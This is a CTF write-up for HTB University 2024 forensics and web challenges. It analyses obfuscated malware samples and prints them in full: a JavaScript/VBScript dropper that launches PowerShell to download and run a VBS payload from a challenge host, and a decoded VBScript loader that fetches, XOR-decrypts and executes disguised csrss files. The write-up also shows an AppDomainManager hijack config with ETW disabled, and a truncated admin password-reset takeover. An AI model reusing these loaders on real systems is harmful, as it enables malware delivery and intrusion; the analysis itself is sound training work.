HTB university 2024

participate with CSI

PreviousWeb - The Cyber Jawara International 2024

Last updated 4 months ago

HTB university 2024

participate with CSI

For - Wanter Alive

The challenges is javascript containing vbs script

more readable code

<scriptlanguage=JavaScript>m='<scriptlanguage=JavaScript>m='<script><!--document.write(unescape("<scriptlanguage=JavaScript>m='<script><!--document.write(unescape("<!DOCTYPEhtml><metahttp-equiv="X-UA-Compatible"content="IE=EmulateIE8"><html><body><sCrIPTlANgUAge="VbScRipT">DiMOCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF,PoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM:setOCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF=createoBjEct(Chr(&H57)&"SCRIPT.shELL"):PoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM="PowErShEll-ExBYPaSS-NOP-W1-CdEVIcEcrEDEnTIAlDePlOYmENt.EXe;iex($(iEX('[SYsTeM.TeXt.EnCoding]'+[chAr]0X3A+[CHAr]0X3A+'uTf8.geTSTring([SYstem.ConVERT]'+[chAR]58+[CHAR]58+'fRoMBASE64string('+[CHar]0X22+'JGVhNmM4bXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlckRlZmluSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbU9OLmRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENmbXIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYVV2eVZCUkQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZmWWxEb2wsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb0ZYckloKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU3V4dFBJQkp4bCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbklZcCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZWE2YzhtclQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly93YW50ZWQuYWxpdmUuaHRiLzM1L3dhbnRlZC50SUYiLCIkZU52OkFQUERBVEFcd2FudGVkLnZicyIsMCwwKTtTVEFSdC1zbGVlUCgzKTtzdEFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW5WOkFQUERBVEFcd2FudGVkLnZicyI='+[cHar]0X22+'))')))":OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF.rUNchR(34)&OCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF.eXpanDEnVIroNMENtSTRinGs(Chr(&H25)&ChrW(&H53)&Chr(&H79)&ChrW(&H73)&ChrW(&H54)&ChrW(&H65)&ChrW(&H6D)&Chr(&H52)&ChrW(&H4F)&Chr(&H6F)&ChrW(&H74)&ChrW(&H25))&"\SYStEM32\WINdOwSpoweRSheLL\V1.0\PoWERshElL.ExE"&chr(34)&cHR(32)&Chr(34)&PoRkkqjVbkMUvpXeCSCGmsOdJUQlGcAUJUngSiqyuVjPViqbHZeseLYFNCcVukIEhbtljkiiGoWeAZgVghNVJcDhcTBgSDyFQLePsWgOtrScsnNAJtyDlRZAjVhhhHpMuZogCVFdqfUXGCHHWJhGRHGwRIRmwaFPATUzTJaRdFWdyskcEhJsKYUMGjyLSiMARuQhBMMSrUUKbmPBmNYbWukinAYRFHhKaFYvIHlVM&CHr(34),0:SETOCpyLSiQittipCvMVdYVbYNgMXDJyXvZlVidpZmjkOIRLVpYuWvvdptBSONolYytwkxIhCnXqimStUHeBdpRBGlAwuMJRJNqkfjiBKOAqjigAGZyghHgJhPzozEPElPmonvxOEqnXAwCwnTBVPziQXITiKqAMMhBzrhygtuGbOfcwXPJLJSTlnsdTKXMGvpGFYvfTmDaqIlzNTqpqzPhhktykgBvytPUtQnnpprPF=NOThINGSeLF.CloSE</script></body></html>"));//--></script>';d=unescape(m);document.write(d);</script>"));//--></script>';d=unescape(m);document.write(d);</script>';d=unescape(m);document.write(d);</script>

focus in vbs script there is base64

// Some code'JGVhNmM4bXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkZC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlckRlZmluSVRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbU9OLmRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBHLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENmbXIsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYVV2eVZCUkQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZmWWxEb2wsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb0ZYckloKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiU3V4dFBJQkp4bCIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQQWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbklZcCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZWE2YzhtclQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly93YW50ZWQuYWxpdmUuaHRiLzM1L3dhbnRlZC50SUYiLCIkZU52OkFQUERBVEFcd2FudGVkLnZicyIsMCwwKTtTVEFSdC1zbGVlUCgzKTtzdEFSdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW5WOkFQUERBVEFcd2FudGVkLnZicyI='

$ea6c8mrT = Add-Type -meMBerDefinITIon
'[DllImport("uRLmON.dlL", CharSet = CharSet.Unicode)]
public static extern IntPtr URLDownloadToFile(
    IntPtr PG,
    string Cfmr,
    string aUvyVBRD,
    uint ffYlDol,
    IntPtr oFXrIh);'
-nAME "SuxtPIBJxl"
-NamEsPAcE nIYp
-PassThru;

$ea6c8mrT::URLDownloadToFile(0,"http://wanted.alive.htb/35/wanted.tIF","$eNv:APPDATA\\wanted.vbs",0,0);
START-sleeP(3);
start "$enV:APPDATA\\wanted.vbs";

download wanted.tif from server

from vbs to python

import base64

def descortinar(descair, brita, chincharel):
    sulfossal = descair.find(brita)

    while sulfossal != -1:
        descair = descair[:sulfossal] + chincharel + descair[sulfossal + len(brita):]
        sulfossal = descair.find(brita, sulfossal + len(chincharel))

    return descair

def main():
    try:
        latifoliado = (
            "U2V0LUV4ZWN1dGlvblBvbGljeSBCeXBhc3MgLVNjb3BlIFByb2Nlc3MgLUZvcmNlOyBbU3lzdGVtLk5ldC5TZd2FudGVkCgXJ2aWNlUG9pbnRNYW5hZ2VyXTo6U2VydmVyQ2VydGlmaWNhdGVWYWxpZGF0aW9uQ2FsbGJhY2sgPSB7JHRydWV9O1td2FudGVkCgTe" +
            "XN0ZW0uTmV0LlNlcnZpY2VQb2ludE1hbmFnZXJdOjpTZWN1cml0eVByb3RvY29sID0gW1N5c3RlbS5OZXQuU2Vydmld2FudGVkCgjZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgLWJvciAzMDcyOyBpZXggKFtTeXN0ZW0uVGV4dC5FbmNvZd2FudGVkCgGl" +
            "uZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoKG5ldy1vYmplY3Qgcd2FudGVkCg3lzdGVtLm5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vd2FudGVkLmFsaXZlLmh0Yi9jZGJhL19d2FudGVkCgyc" +
            "CcpKSkpd2FudGVkCgd2FudGVkCg"
        )

        parrana = "d2FudGVkCg"

        arran = (
            " d2FudGVkCg  d2FudGVkCg $d2FudGVkCgCod2FudGVkCgd" +
            "id2FudGVkCggod2FudGVkCg d2FudGVkCg" + latifoliado + "d2FudGVkCg"
            + "$d2FudGVkCgOWd2FudGVkCgj"
+ "ud2FudGVkCgxdd2FudGVkCg "
+ "=d2FudGVkCg [d2FudGVkCgs"
+ "yd2FudGVkCgstd2FudGVkCge"
+ "md2FudGVkCg.Td2FudGVkCge"
+ "xd2FudGVkCgt.d2FudGVkCge"
+ "nd2FudGVkCgcod2FudGVkCgd"
+ "id2FudGVkCgngd2FudGVkCg]"
+ ":d2FudGVkCg:Ud2FudGVkCgT"
+ "Fd2FudGVkCg8.d2FudGVkCgG"
+ "ed2FudGVkCgtSd2FudGVkCgt"
+ "rd2FudGVkCgind2FudGVkCgg"
+ "(d2FudGVkCg[sd2FudGVkCgy"
+ "sd2FudGVkCgted2FudGVkCgm"
+ ".d2FudGVkCgCod2FudGVkCgn"
+ "vd2FudGVkCgerd2FudGVkCgt"
+ "]d2FudGVkCg::d2FudGVkCgF"
+ "rd2FudGVkCgomd2FudGVkCgb"
+ "ad2FudGVkCgsed2FudGVkCg6"
+ "4d2FudGVkCgStd2FudGVkCgr"
+ "id2FudGVkCgngd2FudGVkCg("
+ "$d2FudGVkCgcod2FudGVkCgd"
+ "id2FudGVkCggod2FudGVkCg)"
+ ")d2FudGVkCg;pd2FudGVkCgo"
+ "wd2FudGVkCgerd2FudGVkCgs"
+ "hd2FudGVkCgeld2FudGVkCgl"
+ ".d2FudGVkCgexd2FudGVkCge"
+ " d2FudGVkCg-wd2FudGVkCgi"
+ "nd2FudGVkCgdod2FudGVkCgw"
+ "sd2FudGVkCgtyd2FudGVkCgl"
+ "ed2FudGVkCg hd2FudGVkCgi"
+ "dd2FudGVkCgded2FudGVkCgn"
+ " d2FudGVkCg-ed2FudGVkCgx"
+ "ed2FudGVkCgcud2FudGVkCgt"
+ "id2FudGVkCgond2FudGVkCgp"
+ "od2FudGVkCglid2FudGVkCgc"
+ "yd2FudGVkCg bd2FudGVkCgy"
+ "pd2FudGVkCgasd2FudGVkCgs"
+ " d2FudGVkCg-Nd2FudGVkCgo"
+ "Pd2FudGVkCgrod2FudGVkCgf"
+ "id2FudGVkCgled2FudGVkCg "
+ "-d2FudGVkCgcod2FudGVkCgm"
+ "md2FudGVkCgand2FudGVkCgd"
+ " d2FudGVkCg$Od2FudGVkCgW"
+ "jd2FudGVkCguxd2FudGVkCgD"
        )

        arran = descortinar(arran, parrana, "")

        sandareso = "pd2FudGVkCgo wd2FudGVkCgr sd2FudGVkCge ld2FudGVkCgl -cd2FudGVkCgommad2FudGVkCgnd "
        sandareso = descortinar(sandareso, parrana, "")

        sandareso += arran

        print("Decoded command:", sandareso)
        print("\n\n\nBase64-decoded latifoliado:", base64.b64decode(latifoliado))

        # Optionally execute the command
        # os.system(sandareso)

    except Exception as e:
        print("An error occurred:", e)

if __name__ == "__main__":
    main()

For - Binary Badresources

check obfuscated part in wanted.msc

decode the string inside mid()

import urllib.parse


def decode_string(encoded_string):
    decoded_string = ''
    for i in range(len(encoded_string)):
        char = encoded_string[i]
        ascii_value = ord(char)
        decoded_char = chr(ascii_value - 5 + 1)
        decoded_string += decoded_char

    return decoded_string

encoded_string = "Stxmsr%24I%7Ctpmgmx%0EHmq%24sfnWlipp0%24sfnJWS0%24sfnLXXT%0EHmq%24wxvYVP50%24wxvYVP60%24wxvYVP70%24wxvWls%7BjmpiYVP%0EHmq%24wxvHs%7BrpsehTexl50%24wxvHs%7BrpsehTexl60%24wxvHs%7BrpsehTexl70%24wxvWls%7BjmpiTexl%0EHmq%24wxvI%7CigyxefpiTexl0%24wxvTs%7BivWlippWgvmtx%0EwxvYVP5%24A%24%26lxxt%3E33%7Bmrhs%7Bwythexi2lxf3gwvww2i%7Ci%26%0EwxvYVP6%24A%24%26lxxt%3E33%7Bmrhs%7Bwythexi2lxf3gwvww2hpp%26%0EwxvYVP7%24A%24%26lxxt%3E33%7Bmrhs%7Bwythexi2lxf3gwvww2i%7Ci2gsrjmk%26%0EwxvWls%7BjmpiYVP%24A%24%26lxxt%3E33%7Bmrhs%7Bwythexi2lxf3%7Berxih2thj%26%0EwxvHs%7BrpsehTexl5%24A%24%26G%3E%60Ywivw%60Tyfpmg%60gwvww2i%7Ci%26%0EwxvHs%7BrpsehTexl6%24A%24%26G%3E%60Ywivw%60Tyfpmg%60gwvww2hpp%26%0EwxvHs%7BrpsehTexl7%24A%24%26G%3E%60Ywivw%60Tyfpmg%60gwvww2i%7Ci2gsrjmk%26%0EwxvWls%7BjmpiTexl%24A%24%26G%3E%60Ywivw%60Tyfpmg%60%7Berxih2thj%26%0EwxvI%7CigyxefpiTexl%24A%24%26G%3E%60Ywivw%60Tyfpmg%60gwvww2i%7Ci%26%0E%0EWix%24sfnWlipp%24A%24GviexiSfnigx%2C%26%5BWgvmtx2Wlipp%26%2D%0EWix%24sfnJWS%24A%24GviexiSfnigx%2C%26Wgvmtxmrk2JmpiW%7DwxiqSfnigx%26%2D%0EWix%24sfnLXXT%24A%24GviexiSfnigx%2C%26QW%5CQP62%5CQPLXXT%26%2D%0E%0EMj%24Rsx%24sfnJWS2JmpiI%7Cmwxw%2CwxvHs%7BrpsehTexl5%2D%24Xlir%0E%24%24%24%24Hs%7BrpsehJmpi%24wxvYVP50%24wxvHs%7BrpsehTexl5%0EIrh%24Mj%0EMj%24Rsx%24sfnJWS2JmpiI%7Cmwxw%2CwxvHs%7BrpsehTexl6%2D%24Xlir%0E%24%24%24%24Hs%7BrpsehJmpi%24wxvYVP60%24wxvHs%7BrpsehTexl6%0EIrh%24Mj%0EMj%24Rsx%24sfnJWS2JmpiI%7Cmwxw%2CwxvHs%7BrpsehTexl7%2D%24Xlir%0E%24%24%24%24Hs%7BrpsehJmpi%24wxvYVP70%24wxvHs%7BrpsehTexl7%0EIrh%24Mj%0EMj%24Rsx%24sfnJWS2JmpiI%7Cmwxw%2CwxvWls%7BjmpiTexl%2D%24Xlir%0E%24%24%24%24Hs%7BrpsehJmpi%24wxvWls%7BjmpiYVP0%24wxvWls%7BjmpiTexl%0EIrh%24Mj%0E%0EwxvTs%7BivWlippWgvmtx%24A%24c%0E%26teveq%24%2C%26%24%2A%24zfGvPj%24%2A%24c%0E%26%24%24%24%24%5Fwxvmrka%28JmpiTexl0%26%24%2A%24zfGvPj%24%2A%24c%0E%26%24%24%24%24%5Fwxvmrka%28Oi%7DTexl%26%24%2A%24zfGvPj%24%2A%24c%0E%26%2D%26%24%2A%24zfGvPj%24%2A%24c%0E%26%28oi%7D%24A%24%5FW%7Dwxiq2MS2Jmpia%3E%3EViehEppF%7Dxiw%2C%28Oi%7DTexl%2D%26%24%2A%24zfGvPj%24%2A%24c%0E%26%28jmpiGsrxirx%24A%24%5FW%7Dwxiq2MS2Jmpia%3E%3EViehEppF%7Dxiw%2C%28JmpiTexl%2D%26%24%2A%24zfGvPj%24%2A%24c%0E%26%28oi%7DPirkxl%24A%24%28oi%7D2Pirkxl%26%24%2A%24zfGvPj%24%2A%24c%0E%26jsv%24%2C%28m%24A%244%3F%24%28m%241px%24%28jmpiGsrxirx2Pirkxl%3F%24%28m%2F%2F%2D%24%7F%26%24%2A%24zfGvPj%24%2A%24c%0E%26%24%24%24%24%28jmpiGsrxirx%5F%28ma%24A%24%28jmpiGsrxirx%5F%28ma%241f%7Csv%24%28oi%7D%5F%28m%24%29%24%28oi%7DPirkxla%26%24%2A%24zfGvPj%24%2A%24c%0E%26%C2%81%26%24%2A%24zfGvPj%24%2A%24c%0E%26%5FW%7Dwxiq2MS2Jmpia%3E%3E%5BvmxiEppF%7Dxiw%2C%28JmpiTexl0%24%28jmpiGsrxirx%2D%26%24%2A%24zfGvPj%0E%0EHmq%24sfnJmpi%0ESr%24Ivvsv%24Viwyqi%24Ri%7Cx%0EWix%24sfnJmpi%24A%24sfnJWS2GviexiXi%7CxJmpi%2C%26G%3E%60Ywivw%60Tyfpmg%60xiqt2tw5%260%24Xvyi%2D%0EMj%24Ivv2Ryqfiv%24%40B%244%24Xlir%0E%24%24%24%24%5BWgvmtx2Igls%24%26Ivvsv%24gviexmrk%24Ts%7BivWlipp%24wgvmtx%24jmpi%3E%24%26%24%2A%24Ivv2Hiwgvmtxmsr%0E%24%24%24%24%5BWgvmtx2Uymx%0EIrh%24Mj%0EsfnJmpi2%5BvmxiPmri%24wxvTs%7BivWlippWgvmtx%0EsfnJmpi2Gpswi%0E%0EHmq%24evvJmpiTexlw%0EevvJmpiTexlw%24A%24Evve%7D%2CwxvHs%7BrpsehTexl50%24wxvHs%7BrpsehTexl70%24wxvWls%7BjmpiTexl%2D%0E%0EHmq%24m%0EJsv%24m%24A%244%24Xs%24YFsyrh%2CevvJmpiTexlw%2D%0E%24%24%24%24Hmq%24mrxVixyvrGshi%0E%24%24%24%24mrxVixyvrGshi%24A%24sfnWlipp2Vyr%2C%26ts%7Bivwlipp%241I%7CigyxmsrTspmg%7D%24F%7Dteww%241Jmpi%24G%3E%60Ywivw%60Tyfpmg%60xiqt2tw5%241JmpiTexl%24%26%24%2A%24Glv%2C78%2D%24%2A%24evvJmpiTexlw%2Cm%2D%24%2A%24Glv%2C78%2D%24%2A%24%26%241Oi%7DTexl%24%26%24%2A%24Glv%2C78%2D%24%2A%24wxvHs%7BrpsehTexl6%24%2A%24Glv%2C78%2D0%2440%24Xvyi%2D%0E%24%24%24%24%0E%24%24%24%24Mj%24mrxVixyvrGshi%24%40B%244%24Xlir%0E%24%24%24%24%24%24%24%24%5BWgvmtx2Igls%24%26Ts%7BivWlipp%24wgvmtx%24i%7Cigyxmsr%24jempih%24jsv%24%26%24%2A%24evvJmpiTexlw%2Cm%2D%24%2A%24%26%24%7Bmxl%24i%7Cmx%24gshi%3E%24%26%24%2A%24mrxVixyvrGshi%0E%24%24%24%24Irh%24Mj%0ERi%7Cx%0E%0EsfnWlipp2Vyr%24wxvI%7CigyxefpiTexl0%2450%24Xvyi%0EsfnWlipp2Vyr%24wxvWls%7BjmpiTexl0%2450%24Xvyi%0EsfnJWS2HipixiJmpi%24%26G%3E%60Ywivw%60Tyfpmg%60gwvww2hpp%26%0EsfnJWS2HipixiJmpi%24%26G%3E%60Ywivw%60Tyfpmg%60gwvww2i%7Ci%26%0EsfnJWS2HipixiJmpi%24%26G%3E%60Ywivw%60Tyfpmg%60gwvww2i%7Ci2gsrjmk%26%0EsfnJWS2HipixiJmpi%24%26G%3E%60Ywivw%60Tyfpmg%60xiqt2tw5%26%0E%0EWyf%24Hs%7BrpsehJmpi%2Cyvp0%24texl%2D%0E%24%24%24%24Hmq%24sfnWxvieq%0E%24%24%24%24Wix%24sfnWxvieq%24A%24GviexiSfnigx%2C%26EHSHF2Wxvieq%26%2D%0E%24%24%24%24sfnLXXT2Stir%24%26KIX%260%24yvp0%24Jepwi%0E%24%24%24%24sfnLXXT2Wirh%0E%24%24%24%24Mj%24sfnLXXT2Wxexyw%24A%24644%24Xlir%0E%24%24%24%24%24%24%24%24sfnWxvieq2Stir%0E%24%24%24%24%24%24%24%24sfnWxvieq2X%7Dti%24A%245%0E%24%24%24%24%24%24%24%24sfnWxvieq2%5Bvmxi%24sfnLXXT2ViwtsrwiFsh%7D%0E%24%24%24%24%24%24%24%24sfnWxvieq2WeziXsJmpi%24texl0%246%0E%24%24%24%24%24%24%24%24sfnWxvieq2Gpswi%0E%24%24%24%24Irh%24Mj%0E%24%24%24%24Wix%24sfnWxvieq%24A%24Rsxlmrk%0EIrh%24Wyf%0E"

decoded_url_string = urllib.parse.unquote(encoded_string)
final_decoded_string = decode_string(decoded_url_string)
print(final_decoded_string)

output

Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURL1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath, strPowerShellScript
strURL1 = "http://windowsupdate.htb/csrss.exe"
strURL2 = "http://windowsupdate.htb/csrss.dll"
strURL3 = "http://windowsupdate.htb/csrss.exe.config"
strShowfileURL = "http://windowsupdate.htb/wanted.pdf"
strDownloadPath1 = "C:\Users\Public\csrss.exe"
strDownloadPath2 = "C:\Users\Public\csrss.dll"
strDownloadPath3 = "C:\Users\Public\csrss.exe.config"
strShowfilePath = "C:\Users\Public\wanted.pdf"
strExecutablePath = "C:\Users\Public\csrss.exe"

Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")

If Not objFSO.FileExists(strDownloadPath1) Then
    DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
    DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
    DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
    DownloadFile strShowfileURL, strShowfilePath
End If

strPowerShellScript = _
"param (" & vbCrLf & _
"    [string]$FilePath," & vbCrLf & _
"    [string]$KeyPath" & vbCrLf & _
")" & vbCrLf & _
"$key = [System.IO.File]::ReadAllBytes($KeyPath)" & vbCrLf & _
"$fileContent = [System.IO.File]::ReadAllBytes($FilePath)" & vbCrLf & _
"$keyLength = $key.Length" & vbCrLf & _
"for ($i = 0; $i -lt $fileContent.Length; $i++) {" & vbCrLf & _
"    $fileContent[$i] = $fileContent[$i] -bxor $key[$i % $keyLength]" & vbCrLf & _
"}" & vbCrLf & _
"[System.IO.File]::WriteAllBytes($FilePath, $fileContent)" & vbCrLf

Dim objFile
On Error Resume Next
Set objFile = objFSO.CreateTextFile("C:\Users\Public\temp.ps1", True)
If Err.Number <> 0 Then
    WScript.Echo "Error creating PowerShell script file: " & Err.Description
    WScript.Quit
End If
objFile.WriteLine strPowerShellScript
objFile.Close

Dim arrFilePaths
arrFilePaths = Array(strDownloadPath1, strDownloadPath3, strShowfilePath)

Dim i
For i = 0 To UBound(arrFilePaths)
    Dim intReturnCode
    intReturnCode = objShell.Run("powershell -ExecutionPolicy Bypass -File C:\Users\Public\temp.ps1 -FilePath " & Chr(34) & arrFilePaths(i) & Chr(34) & " -KeyPath " & Chr(34) & strDownloadPath2 & Chr(34), 0, True)

    If intReturnCode <> 0 Then
        WScript.Echo "PowerShell script execution failed for " & arrFilePaths(i) & " with exit code: " & intReturnCode
    End If
Next

objShell.Run strExecutablePath, 1, True
objShell.Run strShowfilePath, 1, True
objFSO.DeleteFile "C:\Users\Public\csrss.dll"
objFSO.DeleteFile "C:\Users\Public\csrss.exe"
objFSO.DeleteFile "C:\Users\Public\csrss.exe.config"
objFSO.DeleteFile "C:\Users\Public\temp.ps1"

Sub DownloadFile(url, path)
    Dim objStream
    Set objStream = CreateObject("ADODB.Stream")
    objHTTP.Open "GET", url, False
    objHTTP.Send
    If objHTTP.Status = 200 Then
        objStream.Open
        objStream.Type = 1
        objStream.Write objHTTP.ResponseBody
        objStream.SaveToFile path, 2
        objStream.Close
    End If
    Set objStream = Nothing
End Sub

all the file is xor with csrss.dll as the key

def xor_file(file_path, key_path):
    with open(key_path, 'rb') as key_file:
        key = key_file.read()

    with open(file_path, 'rb') as file:
        file_content = bytearray(file.read())

    key_length = len(key)

    for i in range(len(file_content)):
        file_content[i] ^= key[i % key_length]
        
    with open(file_path, 'wb') as file:
        file.write(file_content)

file_path = "/home/araisantai/Private/htb/uni/for/csrss.exe.config"  
key_path = "/home/araisantai/Private/htb/uni/for/csrss.dll"
xor_file(file_path, key_path)

download json file

└─$ cat csrss.exe.config
<configuration>
   <runtime>
      <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
         <dependentAssembly>
            <assemblyIdentity name="dfsvc" publicKeyToken="205fcab1ea048820" culture="neutral" />
            <codeBase version="0.0.0.0" href="http://windowsupdate.htb/5f8f9e33bb5e13848af2622b66b2308c.json"/>
         </dependentAssembly>
      </assemblyBinding>
      <etwEnable enabled="false" />
      <appDomainManagerAssembly value="dfsvc, Version=0.0.0.0, Culture=neutral, PublicKeyToken=205fcab1ea048820" />
      <appDomainManagerType value="dfsvc" />
   </runtime>
</configuration>

import base64
import hashlib
from Crypto.Cipher import AES

def debug_log(message):
    print(f"[DEBUG] {message}")

class Dfsvc:
    class Magentaboorishgirl01630:
        cream_hollow_ticket = "tbbliftalildywic"
        fuchsia_aromatic_market = cream_hollow_ticket.encode("utf-8")
        mint_pumped_owl = "vudzvuokmioomyialpkyydvgqdmdkdxy"
        steel_shivering_park = hashlib.sha256(mint_pumped_owl.encode("utf-8")).digest()

        @staticmethod
        def indigoinnocentbeast26519(encoded_string):
            try:
                encrypted_bytes = base64.b64decode(encoded_string)
                debug_log(f"Decoded base64 string: {encrypted_bytes.hex()}")
                return Dfsvc.Magentaboorishgirl01630.charcoalsleepyadvertisement91853(encrypted_bytes).rstrip("\0")
            except Exception as e:
                debug_log(f"Error during decryption: {e}")
                raise

        @staticmethod
        def charcoalsleepyadvertisement91853(encrypted_data):
            try:
                aes = AES.new(
                    Dfsvc.Magentaboorishgirl01630.steel_shivering_park,
                    AES.MODE_CBC,
                    Dfsvc.Magentaboorishgirl01630.fuchsia_aromatic_market,
                )
                debug_log(f"AES Key: {Dfsvc.Magentaboorishgirl01630.steel_shivering_park.hex()}")
                debug_log(f"AES IV: {Dfsvc.Magentaboorishgirl01630.fuchsia_aromatic_market.hex()}")
                decrypted_data = aes.decrypt(encrypted_data)
                debug_log(f"Decrypted raw data: {decrypted_data}")
                return decrypted_data.decode("utf-8", errors="ignore")
            except Exception as e:
                debug_log(f"Unexpected error during decryption: {e}")
                raise

# Decode the provided string
def decode_string(encoded_string):
    return Dfsvc.Magentaboorishgirl01630.indigoinnocentbeast26519(encoded_string)

if __name__ == "__main__":
    encoded_string = "ZzfccaKJB3CrDvOnj/6io5OR7jZGL0pr0sLO/ZcRNSa1JLrHA+k2RN1QkelHxKVvhrtiCDD14Aaxc266kJOzF59MfhoI5hJjc5hx7kvGAFw="
    try:
        decoded = decode_string(encoded_string)
        print("Decoded String:", decoded)
    except Exception as e:
        print("Failed to decode string:", e)

Web - Armaxis

vuln1 - admin account takeover via resetpassword

the token is not bind with email, and there is admin

await runInsertUser(
        "admin@armaxis.htb",
        `${crypto.randomBytes(69).toString("hex")}`,
        "admin",
      );

POST /reset-password HTTP/1.1
Host: 94.237.55.109:59372
